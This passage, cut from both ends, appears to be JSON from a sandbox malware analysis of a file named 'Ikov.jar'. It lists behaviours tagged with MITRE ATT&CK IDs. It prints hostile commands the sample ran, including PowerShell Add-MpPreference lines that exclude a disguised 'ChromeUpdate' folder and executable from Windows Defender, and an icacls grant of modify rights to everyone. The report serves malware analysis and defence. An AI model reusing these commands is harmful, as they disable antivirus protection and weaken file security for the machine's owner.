\"\\Device\\HarddiskVolume3\\Windows\\System32\\icacls.exe\" (Indicator: \"\\Device\\\"; Source: \"00000000-00000860-00000BC0-2391210409\")\n Found string \"\\\\Device\\\\Mup\\\\\" (Indicator: \"\\Device\\\"; File: \"Ikov.jar\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFile\" (Indicator: \"DeleteFile\"; File: \"Ikov.jar\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"SeLoadDriverPrivilege\" (Indicator: \"SeLoadDriverPrivilege\"; File: \"Ikov.jar\")\n Found reference to API \"SeBackupPrivilege\" (Indicator: \"SeBackupPrivilege\"; File: \"Ikov.jar\")\n Found reference to API \"SeShutdownPrivilege\" (Indicator: \"SeShutdownPrivilege\"; File: \"Ikov.jar\")\n Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; File: \"Ikov.jar\")\n Found reference to API \"SeImpersonatePrivilege\" (Indicator: \"SeImpersonatePrivilege\"; File: \"Ikov.jar\")\n Found reference to API \"SeImpersonatePrivilege\" (Indicator: \"SeImpersonate\"; File: \"Ikov.jar\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"Expected GetTokenInformation to fail with ERROR_INSUFFICIENT_BUFFER\" (Indicator: \"GetTokenInformation\"; File: \"Ikov.jar\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"$41","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$42","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Contains ability to open/control a service","description":"INSTANCE.OpenService@Advapi32 at 297f66f275200fa96b0df78e46d1758a-6fbd","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1569.002","relevance":8,"id":"stream-14","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Uses a Windows Living Off The Land Binaries (LOL bins)","description":"Process \"%WINDIR%\\system32\\icacls.exe\" launched with commandline \"%ALLUSERSPROFILE%\\\\Oracle\\\\Java\\\\.oracle_jre_usage /grant \"everyone\":(OI)(CI)M\" (UID: 00000000-00007264)","origin":"Monitored Target","relevance":3,"id":"target-411","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"Found string \"W32 File Monitor-\" (Indicator: \"file monitor\"; File: \"Ikov.jar\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-5","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"INSTANCE.FindResource@Kernel32 at 297f66f275200fa96b0df78e46d1758a-6244","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1005","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"suspicious","category":"General","name":"Contains ability to modify processes thread functionality","description":"INSTANCE.OpenThreadToken@Advapi32 at 297f66f275200fa96b0df78e46d1758a-1118\n INSTANCE.OpenThreadToken@Advapi32 at 297f66f275200fa96b0df78e46d1758a-160f","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":5,"id":"stream-129","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Sets a computer-based training (CBT) hook","description":"\"javaw.exe\" sets a callback procedure (7fffa4b624dc) using filter \"WH_CBT\" for process ID: 35c","origin":"API Call","mitre_attack_id":"T1056.004","relevance":10,"id":"api-74","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"javaw.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\icacls.exe\" (Handle: 1124)\n \"javaw.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\icacls.exe\" (Handle: 1124)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"},{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"suspicious","category":"Network Related","name":"Contains ability to listen for incoming connections","description":"HierarchyListener at 297f66f275200fa96b0df78e46d1758a-f45\n ActionListener at 297f66f275200fa96b0df78e46d1758a-34a7\n DispatchListener at 297f66f275200fa96b0df78e46d1758a-6506","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1040","relevance":5,"id":"stream-33","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"level":"suspicious","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection","description":"HRESULT BindToObject@WinNT at 297f66f275200fa96b0df78e46d1758a-8bb\n HRESULT BindToObject@WinNT at 297f66f275200fa96b0df78e46d1758a-8c9\n HierarchyListener at 297f66f275200fa96b0df78e46d1758a-f45\n ActionListener at 297f66f275200fa96b0df78e46d1758a-34a7\n DispatchListener at 297f66f275200fa96b0df78e46d1758a-6506\n HRESULT Bind@WinNT at 297f66f275200fa96b0df78e46d1758a-6fb0\n HRESULT Bind@WinNT at 297f66f275200fa96b0df78e46d1758a-7559","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1571","relevance":5,"id":"stream-85","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"level":"suspicious","category":"Network Related","name":"Contains ability to retrieve information about all user accounts on a server","description":"INSTANCE.NetGetDCName@Netapi32 at 297f66f275200fa96b0df78e46d1758a-79c5","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1087.001","relevance":3,"id":"stream-115","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate processes/modules/threads","description":"INSTANCE.CreateToolhelp32Snapshot@Kernel32 at 297f66f275200fa96b0df78e46d1758a-6244\n INSTANCE.EnumProcesses@Psapi at 297f66f275200fa96b0df78e46d1758a-81eb","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":5,"id":"stream-20","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to read the host's architecture","description":"INSTANCE.GetEnvironmentVariable@Kernel32 at 297f66f275200fa96b0df78e46d1758a-6244","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":3,"id":"stream-111","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"level":"malicious","category":"System Security","name":"Modifies the access control lists of files","description":"Process \"icacls.exe\" with commandline \"%ALLUSERSPROFILE%\\\\Oracle\\\\Java\\\\.oracle_jre_usage /grant \"everyone\":(OI)(CI)M\" (UID: 00000000-00007264)","origin":"Monitored Target","mitre_attack_id":"T1222.001","relevance":5,"id":"target-12","sources":[{"report_type":"sandbox","report_id":"6af23fd0dc588621900096f7"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to enumerate permission groups in the domain","description":"Found reference string \"NetGroupGetInfo\" (Indicator: \"netgroupgetinfo\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")\n Found reference string \"NetGroupGetUsers\" (Indicator: \"netgroupgetusers\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")\n Found reference string \"NetGroupEnum\" (Indicator: \"netgroupenum\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")\n Found reference string \"NetUserGetGroups\" (Indicator: \"netusergetgroups\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-981","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"LsaFreeMemory\" (Indicator: \"FreeMemory\"; File: \"00000000-00005364.00000000.156639.00461000.00000020.mdmp\")\n Found reference to API \"SamFreeMemory\" (Indicator: \"FreeMemory\"; File: \"00000000-00005364.00000000.156639.00461000.00000020.mdmp\")\n Found reference to API \"LsaFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00005364.00000000.156639.00461000.00000020.mdmp\")\n Found reference to API \"SamFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00005364.00000000.156639.00461000.00000020.mdmp\")\n Found reference to API \"DsRoleFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify Windows Defender exclusions (Powershell command string)","description":"Found reference string \"powershell.exe -NoProfile -Command \"Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\\Google\\ChromeUpdate'\"\" (Indicator: \"add-mppreference\"; Source: \"00000000-00005256-00000C47-129018940377\")\n Found reference string \"powershell.exe -NoProfile -Command \"Add-MpPreference -ExclusionProcess '%LOCALAPPDATA%\\Google\\ChromeUpdate\\chromel\" (Indicator: \"add-mppreference\"; Source: \"00000000-00005256-00000C47-175126526585\"), Found reference string \"Add-MpPreference -ExclusionPath 'C:\\Users\\HAPUBWS\\AppData\\Local\\Google\\ChromeUpdate'\" (Indicator: \"add-mppreference\"; File: \"AMSI\"), Found reference string \"-NoProfile -Command \"Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\\Google\\ChromeUpdate'\"\" (Indicator: \"add-mppreference\"; File: \"powershell.exe\"), Found reference string \"-NoProfile -Command \"Add-MpPreference -ExclusionProcess '%LOCALAPPDATA%\\Google\\ChromeUpdate\\chromelevator_x64.exe'\"\" (Indicator: \"add-mppreference\"; File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-980","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"NtOpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify data representation (Powershell command string)","description":"$43","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$44","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"powershell.exe\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNELBASE.DLL at 00000000-00005364-38641-21-00466F50\n SetUnhandledExceptionFilter@KERNELBASE.DLL at 00000000-00005364-38641-24-00466D06","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00005400.00000001.157945.08680000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$45","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$46","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00005400.00000001.157945.08680000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00005400.00000001.157945.086C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Cryptographic Related","name":"Dropped file has high entropy (likely encrypted/compressed content)","description":"Dropped file \"%TEMP%\\imageio4849906140372636108.tmp\" has high entropy 7.60879\n Dropped file \"%TEMP%\\imageio6433719467679739438.tmp\" has high entropy 7.60879\n Dropped file \"%TEMP%\\imageio2825440506134962047.tmp\" has high entropy 7.60879\n Dropped file \"%TEMP%\\imageio401711441080987923.tmp\" has high entropy 7.60879","origin":"Binary File","mitre_attack_id":"T1027","relevance":5,"id":"binary-60","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveTypeW\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005400-00000C2C-1379279295\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005400-00000C2C-1380008955\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005400-00000C2C-1379279295\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00005400-00000C2C-1380008955\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00005400-00000C2C-1377998806\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00005400-00000C2C-1377999487\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00005400-00000C2C-1381857994\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00005400-00000C2C-1381858042\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")\n Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"RtlNtStatusToDosError\" in \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00005400)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to retrieve geographical location information","description":"$47","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-308","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"5400\" - (UID: 00000000-00005400)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"9176\" - (UID: 00000000-00009176)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"6292\" - (UID: 00000000-00006292)\n \"powershell.exe\" called \"IsWow64Process\" (UID: 00000000-00006292)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00005400)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00009176)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00008624)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00006292)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00005400)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve the host name of a computer","description":"\"javaw.exe\" called \"gethostname\" with parameter DESKTOP-FVVF82A & 256 (UID: 00000000-00005256)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-225","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNELBASE.DLL at 00000000-00005364-38641-309-00467175","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"GetSystemTimeAsFileTime@KERNELBASE.DLL at 00000000-00005364-38641-309-00467175","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNELBASE.DLL at 00000000-00005364-38641-309-00467175","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine timezone","description":"GetTimeZoneInformation@KERNELBASE.DLL at 00000000-00005364-38641-213-0047B371","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-48","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve configuration of a workstation (API string)","description":"Found reference to API \"NetWkstaGetInfo\" (Indicator: \"NetWkstaGetInfo\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-451","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network parameters of a computer (API string)","description":"Found reference to API \"NetServerGetInfo\" (Indicator: \"NetServerGetInfo\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-222","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"\"javaw.exe\" (Access type: \"QUERY\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\"; Key: \"\"; Value: \"\")\n \"javaw.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\\{D27478B9-2058-11E8-B41F-806E6F6E6963}\"; Key: \"ENABLEDHCP\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"javaw.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert - External IP Lookup","description":"Detected alert \"ET INFO Observed External IP Lookup Domain (checkip .amazonaws .com) in TLS SNI\" (SID: 2054155, Rev: 1, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","mitre_attack_id":"T1016","relevance":3,"id":"suricata-4","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; File: \"00000000-00005364.00000000.156639.00461000.00000020.mdmp\")\n Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00005364.00000000.156639.00461000.00000020.mdmp\")\n Found reference to API \"EnumDependentServicesW\" (Indicator: \"EnumDependentServices\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")\n Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")\n Found reference to API \"EnumServicesStatusExW\" (Indicator: \"EnumServicesStatus\"; Source: \"00000000-00005364.00000000.156639.0048A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6af244141114811dde0f835f"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: 